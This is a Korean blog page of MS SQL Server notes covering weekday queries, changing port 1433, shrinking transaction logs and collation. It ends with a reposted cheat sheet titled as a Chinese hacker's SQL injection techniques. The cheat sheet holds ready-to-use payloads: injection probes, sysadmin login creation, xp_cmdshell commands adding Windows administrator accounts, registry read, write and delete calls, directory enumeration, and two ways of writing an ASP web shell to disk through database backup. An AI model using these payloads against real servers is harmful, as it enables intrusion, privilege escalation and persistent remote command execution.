반응형

SELECT DATEPART(dw, GETDATE()) 

결과 >
1 - 일
2 - 월
3 - 화
4 - 수
5 - 목
6 - 금
7 - 토
반응형

걍 기본 포트(1433)를 사용하는 것은 보안상 취약하다.
조금은 귀찮지만 포트를 변경해서 사용하는 습관을 들이자.

"시작 > 프로그램 > Microsoft SQL Server 2005 > 구성 도구 > SQL Server Configuration Manager"
를 실행한다.


프로그램이 뜨면 좌측에 메뉴중 "SQL Server 2005 네트워크 구성"을 확장하고
하위의 "MSSQLSERVER에 대한 프로토콜"을 선택한다.

오른쪽에 프로토콜목록이 보이면 TCP/IP 를 더블 클릭한다.



TCP/IP 등록 정보 창이 뜨면
IP 주소 탭으로 이동해서
TCP 포트를 수정한다.

MSSQL SERVER 2005 를 재시작한다.

아~ 쉽다.
반응형
허걱~ 로그파일이 20 기가로 자라버렸다.
당장 없애버려야지...

sp_helpdb [데이터베이스명]

해서 로그 파일 이름을 알아낸다.

Backup Log [데이터베이스명] WITH Truncate_only

로그를 잘라낸다. 이걸 하지 않으면 다음 dbcc shrinkfile 명령이 안된다. 꼭 해야한다.
난 요고 안하고 바로 dbcc shrinkfile 명령했다...
1시간 동안 삽질했다.

DBCC SHRINKFILE ([위에서 알아낸 로그파일 이름], [줄일 용량 (MB)] )

이제 로그가 줄었다.

처음 데이터베이스를 생성할때 로그파일을 제한해두면 이런 귀찮은 짓거리를 안해도 된다.

.. 헉 처음 데이터베이스 생성할때 로그파일을 제한해 두니까.. 제한한 용량만큼 로그파일이 커지고 나면 ..
로그가 꽉 찾다고 에러가 발생한다. 헉... 제한해두면 제한한 용량 내에서 자동으로 이전 것부터 지우는 줄 알았는데...  그것이 아니었다. 흠... 속았다... 따라서 처음 부터 제한해 두면 금방 로그가 차서 에러를 양산할 수 있다.  


//// MSSQL 2008  위 명령어가 안된다.
// 트랜잭션 로그 파일 줄이는 방법은 ...

-- 트랜잭션로그를 사용하지 않는 모드로 변경후
alter database [데이터베이스명] set recovery simple with no_wait

-- 로그를 1MB로 잘라내고
DBCC SHRINKFILE ([로그파일이름], 1)

-- 원상태로
alter database [데이터베이스명] set recovery full with no_wait
반응형

CID (COLLATION : KOREAN_WANSUNG_CI_AS) = 대소문자 구분안함
CID (COLLATION : KOREAN_WANSUNG_CS_AS) = 대소문자 구분함

예>
SELECT * FROM TAB_USERINFO
  WHERE USERID COLLATE KOREAN_WANSUNG_CS_AS = 'SuperMan'


반응형

 

1. 다음과 같은 조건식을 삽입한다.
;and 1=1
;and 1=2 
;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

3. where 조건식을 넣어 본다.
'and ''=' 
'and  '%25'='


4. select 구문을 사용한다.
;and (Select Count(*) from [테이블명])>0 --
;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 

(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0

6. 데이터베이스 권한

;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기  
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

8. dir 결과쿼리하기 
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:' 
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

xp_regenumvalues 
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  

xp_regread  
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  

xp_regwrite  
;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

xp_regdeletevalue
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:l.asp';

11.버전확인하기
;and (select @@version)>0 
;and user_name()='dbo'
;and (select user_name())>0 
;and (select db_name())>0 


12.webshell
use model 
create table cmd(str image);
insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:wwwtestl.asp'; 




[출처] [mssql] 중국해커의 MS SQL 인젝션 해킹기법|작성자 weespk

반응형

+ Recent posts